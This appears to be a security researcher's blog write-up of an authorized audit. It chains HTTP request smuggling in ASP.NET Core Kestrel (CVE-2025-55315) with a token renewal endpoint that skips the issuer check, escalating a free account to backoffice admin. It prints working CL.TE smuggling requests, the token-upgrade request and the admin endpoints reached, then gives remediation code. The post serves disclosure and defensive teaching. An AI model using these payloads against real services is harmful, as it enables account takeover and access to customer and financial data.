One Smuggled Request to Admin: Chaining CVE-2025-55315 with a Token Renewal Flaw

HTTP request smuggling on unpatched ASP.NET Core Kestrel combined with a missing issuer check on the token renewal endpoint — one free account, one smuggled request, full admin panel.

2026-02-18http-smugglingcve-2025-55315privilege-escalationdotnetjwt

During a web security audit of a crypto platform, I combined an HTTP request smuggling vulnerability (CVE-2025-55315, CVSS 9.9) with a logic flaw in a token renewal endpoint to escalate from a regular free account to full backoffice administrator — with read and write access to customer data, financial operations, and platform management.

The key insight: the smuggled request didn't need to bypass authentication. It needed to reach an endpoint that would upgrade authentication.


The Setup

The platform ran a microservices architecture on Azure — about a dozen services behind a shared reverse proxy, all on the same IP. Six of these were ASP.NET Core applications running on Kestrel. The authentication system issued JWTs with a short expiry (~2 minutes) and different scopes:

  • User JWT: iss: "app" — for the casino frontend
  • BO JWT: iss: "app-bo" — for the backoffice admin panel

The backoffice API (120 endpoints) checked the JWT issuer. A user JWT was rejected:

401 Unauthorized
WWW-Authenticate: Bearer error="invalid_token",
  error_description="The issuer 'app' is invalid"

Clear separation. User tokens can't access admin endpoints. Or so it seemed.

The Discovery: HTTP Request Smuggling

While testing the .NET services, I tried CVE-2025-55315 — an HTTP request smuggling vulnerability affecting ASP.NET Core Kestrel that Microsoft patched in October 2025 with a CVSS score of 9.9, their highest ever for ASP.NET Core.

The vulnerability is a classic CL.TE desynchronization. The reverse proxy reads Content-Length, Kestrel reads Transfer-Encoding: chunked. By sending both headers, I could embed a second HTTP request inside the first:

POST / HTTP/1.1
Host: auth-api.target.com
Content-Length: 6
Transfer-Encoding: chunked
Connection: keep-alive
 
0\r\n
\r\n
GET /swagger/v1/swagger.json HTTP/1.1
Host: auth-api.target.com
Connection: close
 

The proxy forwards everything as one request (6-byte body: 0\r\n\r\nG). Kestrel sees the chunked body end at 0\r\n\r\n, then processes the remaining bytes as a second, independent request.

Testing confirmed it worked — two HTTP responses came back on one connection. The smuggled GET returned the full Swagger spec.

I tested all six Kestrel services. All six were vulnerable. Cross-host routing also worked — smuggling a request with a different Host header reached a different backend service through the same connection.

The Breakthrough: Token Renewal

The authentication service had two token scopes but a shared renewal infrastructure. The endpoints:

  • POST /auth/renew — renews user tokens
  • POST /bo/renew — renews backoffice tokens

Both accepted a JWT in the Authorization header and returned a fresh token. The question was: what happens when /bo/renew receives a user token?

Calling it directly from outside didn't work well — the response was inconsistent (the proxy's JWT middleware interfered). But smuggling changes the game. The smuggled request arrives at Kestrel after the proxy has finished processing the outer request. The proxy's middleware doesn't touch it.

POST / HTTP/1.1
Host: auth-api.target.com
Content-Length: 6
Transfer-Encoding: chunked
Connection: keep-alive
 
0\r\n
\r\n
POST /bo/renew HTTP/1.1
Host: auth-api.target.com
Authorization: Bearer eyJ...user_jwt...
Content-Type: application/json
Content-Length: 2
Connection: close
 
{}

The response:

HTTP/1.1 200 OK
{"jwt":"eyJ...iss:app-bo..."}

The backoffice renewal endpoint accepted the user JWT and issued a BO-scoped token. It validated the signature (shared secret between services) and the expiry, but never checked whether the token was originally issued by /bo/login. A user token was silently upgraded to admin scope.

The Proof

Decoding the returned JWT:

{
  "uid": "1210",
  "name": "User#1210",
  "iss": "app-bo",
  "aud": "appusers",
  "exp": 1775213011
}

The iss field changed from "app" to "app-bo". Same user ID, same audience, but now with the backoffice issuer. The admin API accepted it immediately.

Testing against the backoffice endpoints:

EndpointStatusData
/roles200Full role/permission structure
/permissions200All 20+ permission definitions
/customer/search200Customer database with PII
/financial-report/[...]200Revenue, turnover, GGR
/withdrawal/pending200Pending crypto withdrawals
/bonusmanagement/[...]200Active bonus configurations
/casino/games200Full game catalog

16 out of 19 tested endpoints returned data. Write operations were also accessible — confirmed by changing and reverting a KYC verification flag on the test account:

POST /customer/1210/VerificationStatus
Body: {"documentVerified": true}
→ 200 OK (changed)

POST /customer/1210/VerificationStatus
Body: {"documentVerified": false}
→ 200 OK (reverted)

The Full Chain

1. Register on the platform (free, wallet login)
2. Obtain user JWT (iss: "app", ~2 min expiry)
3. CL.TE smuggle: POST /bo/renew with user JWT in Authorization header
4. Receive BO JWT (iss: "app-bo")
5. Access all 120 backoffice admin endpoints (read + write)

No credentials guessed. No brute force. No social engineering. A free registration, one smuggled HTTP request, and the entire admin panel opens.

Why This Worked

Two independent flaws aligned perfectly:

Flaw 1: Unpatched Kestrel (CVE-2025-55315) The .NET services were running a version of ASP.NET Core vulnerable to CL.TE request smuggling. Microsoft patched this in October 2025. The services hadn't been updated in at least 5 months.

Flaw 2: Missing issuer validation on /bo/renew The renewal endpoint's job is simple: validate the incoming JWT, and if valid, issue a fresh one with updated expiry. The code checked the signature and expiry but assumed that any valid token must be a BO token — because in normal operation, only BO users call /bo/renew.

But "normal operation" assumes the request comes through the frontend, which only sends BO tokens to /bo/renew. The smuggled request bypassed the frontend entirely.

What The Smuggling Actually Did

The smuggling didn't bypass authentication. The BO API still validated the JWT issuer correctly — "app" was rejected. The smuggling's role was to reach an endpoint that would transform a valid-but-wrong-scoped token into a valid-and-right-scoped token.

Without smuggling, calling /bo/renew directly with a user token might work sometimes (depending on proxy behavior), but it's inconsistent and the proxy's middleware can interfere. Smuggling provides a clean, reliable path to the endpoint because the request arrives at Kestrel without proxy-level processing.

The Fix

For CVE-2025-55315: Update to .NET 8.0.21+ or 9.0.10+. Kestrel now rejects bare \n in chunked encoding with a 400 error.

For the privilege escalation: Add one check to /bo/renew:

// Before issuing a BO token, verify the incoming token IS a BO token
if (incomingToken.Issuer != "app-bo")
{
    return Unauthorized("Token was not issued for backoffice access");
}

Or better — add a source claim to BO tokens at login time ("source": "bo_login") and verify it on renewal.

The Broader Lesson

Token renewal endpoints are often treated as low-risk — they just extend an existing session, so what could go wrong? But they're token factories. They take a token in and produce a token out. If the input validation is weaker than the output's trust level, they become escalation points.

In this case:

  • The login endpoint had proper scope separation (user login → user token, BO login → BO token)
  • The renewal endpoint assumed scope was already correct and just refreshed it

The assumption broke when the request came through an unexpected path. The frontend would never send a user token to /bo/renew. But the frontend isn't the only thing that can send requests — especially when HTTP smuggling is in play.

Token renewal endpoints should validate scope, not just validity. If a token's scope doesn't match the renewal endpoint's expected scope, reject it. The renewal endpoint is a trust boundary, even if it doesn't feel like one.


Finding discovered during an authorized security audit. Write operations were tested only on the auditor's own account and reverted immediately. Customer data visibility was documented but not exfiltrated. The full exploitation chain and remediation were reported to the development team.